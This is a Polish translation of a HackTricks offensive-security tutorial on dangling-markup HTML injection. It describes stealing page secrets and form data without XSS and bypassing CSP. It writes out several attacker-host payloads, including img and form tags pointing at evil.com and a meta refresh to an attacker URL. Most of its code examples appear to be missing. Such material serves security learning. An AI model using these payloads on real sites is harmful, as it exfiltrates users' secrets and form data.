<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
Ta technika może być użyta do wydobycia informacji od użytkownika, gdy **znaleziono wstrzyknięcie HTML**. Jest to bardzo przydatne, jeśli **nie znajdziesz sposobu na wykorzystanie** [**XSS**](../xss-cross-site-scripting/), ale możesz **wstrzyknąć pewne znaczniki HTML**.\
Jest to również przydatne, jeśli jakiś **sekret jest zapisany w postaci zwykłego tekstu** w HTML i chcesz go **wydobyć** z klienta, lub jeśli chcesz wprowadzić w błąd wykonanie pewnego skryptu.
Kilka omawianych tutaj technik może być użytych do obejścia niektórych [**Polityk Bezpieczeństwa Zawartości**](../content-security-policy-csp-bypass/) poprzez wydobywanie informacji w nieoczekiwany sposób (znaczniki html, CSS, znaczniki http-meta, formularze, base...).
Jeśli wstrzykniesz `<img src='http://evil.com/log.cgi?` gdy strona jest ładowana, ofiara wyśle Ci cały kod między wstrzykniętym tagiem `img` a następnym cudzysłowiem w kodzie. Jeśli jakiś sekret znajduje się w tej części, go ukradniesz (możesz zrobić to samo używając podwójnego cudzysłowu, sprawdź, co może być bardziej interesujące do użycia).
Możesz także wstawić tag `<base`. Wszystkie informacje zostaną wysłane do zamknięcia cytatu, ale wymaga to pewnej interakcji użytkownika (użytkownik musi kliknąć w jakiś link, ponieważ tag base zmieni domenę wskazywaną przez link):
Ustaw nagłówek formularza: `<form action='http://evil.com/log_steal'>` to nadpisze następny nagłówek formularza i wszystkie dane z formularza zostaną wysłane do atakującego.
Korzystając z najnowszej wymienionej techniki kradzieży formularzy (wstrzykiwanie nowego nagłówka formularza), można następnie wstrzyknąć nowe pole wprowadzania:
i to pole wejściowe będzie zawierać całą zawartość między swoim podwójnym cudzysłowiem a następnym podwójnym cudzysłowiem w HTML. Ten atak łączy "_**Kradzież jasnych tekstowych sekretów**_" z "_**Kradzież formularzy2**_".
`<noscript></noscript>` Jest to znacznik, którego zawartość będzie interpretowana, jeśli przeglądarka nie obsługuje JavaScript (możesz włączyć/wyłączyć JavaScript w Chrome w [chrome://settings/content/javascript](chrome://settings/content/javascript)).
Sposobem na wyciek treści strony internetowej od punktu wstrzyknięcia do jej końca do witryny kontrolowanej przez atakującego będzie wstrzyknięcie tego:
Z [badaniami portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) można dowiedzieć się, że nawet w **najbardziej ograniczonych CSP** środowiskach nadal można **wyciekać dane** za pomocą **interakcji użytkownika**. W tym przypadku będziemy używać ładunku:
Zauważ, że poprosisz **ofiarę**, aby **kliknęła w link**, który ją **przekieruje** do **payloadu** kontrolowanego przez Ciebie. Zauważ również, że atrybut **`target`** wewnątrz tagu **`base`** będzie zawierał **treść HTML** do następnego pojedynczego cudzysłowu.\
Spowoduje to, że **wartość****`window.name`** po kliknięciu w link będzie całą tą **treścią HTML**. Dlatego, kontrolując stronę, do której ofiara uzyskuje dostęp poprzez kliknięcie w link, możesz uzyskać dostęp do **`window.name`** i **wyciec** te dane:
Wstaw nowy tag z identyfikatorem wewnątrz HTML, który nadpisze następny i będzie miało wartość wpływającą na przepływ skryptu. W tym przykładzie wybierasz, z kim informacja będzie udostępniona:
Dokument potomny ma zdolność do przeglądania i modyfikowania właściwości `location` swojego rodzica, nawet w sytuacjach międzydomenowych. Pozwala to na osadzenie skryptu wewnątrz tagu **iframe**, który może przekierować klienta na dowolną stronę:
Iframe może również zostać wykorzystany do wycieku poufnych informacji z innej strony **korzystając z atrybutu nazwy iframe**. Dzieje się tak, ponieważ można stworzyć iframe, który zagnieżdża sam siebie, wykorzystując wstrzyknięcie HTML, które sprawia, że **poufne informacje pojawiają się w atrybucie nazwy iframe**, a następnie uzyskać dostęp do tej nazwy z początkowego iframe i wyciec informacji.
For more info check [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
Możesz użyć **`meta http-equiv`** do wykonania **kilku działań** takich jak ustawienie pliku Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` lub przekierowanie (w tym przypadku za 5s): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
Można to **uniknąć** za pomocą **CSP** dotyczącego **http-equiv** (`Content-Security-Policy: default-src 'self';`, lub `Content-Security-Policy: http-equiv 'self';`)
Możesz znaleźć bardzo **interesujące badania** na temat podatności do wykorzystania znacznika \<portal [tutaj](https://research.securitum.com/security-analysis-of-portal-element/).\
W chwili pisania tego tekstu musisz włączyć znacznik portal w Chrome pod adresem `chrome://flags/#enable-portals`, inaczej nie będzie działać.
Nie wszystkie sposoby wycieku łączności w HTML będą przydatne dla Dangling Markup, ale czasami mogą pomóc. Sprawdź je tutaj: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
Jest to **miks** pomiędzy **dangling markup i XS-Leaks**. Z jednej strony podatność pozwala na **wstrzyknięcie HTML** (ale nie JS) na stronie **tej samej domeny**, którą będziemy atakować. Z drugiej strony nie będziemy **atakować** bezpośrednio strony, na której możemy wstrzyknąć HTML, ale **innej strony**.
XS-Search są skierowane na **wyciek informacji między domenami** poprzez nadużycie **ataków kanałów bocznych**. Dlatego jest to inna technika niż Dangling Markup, jednakże niektóre z technik nadużywają włączenia tagów HTML (z i bez wykonania JS), jak [**Wstrzykiwanie CSS**](../xs-search/#css-injection) lub [**Opóźnione Ładowanie Obrazów**](../xs-search/#image-lazy-loading)**.**
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.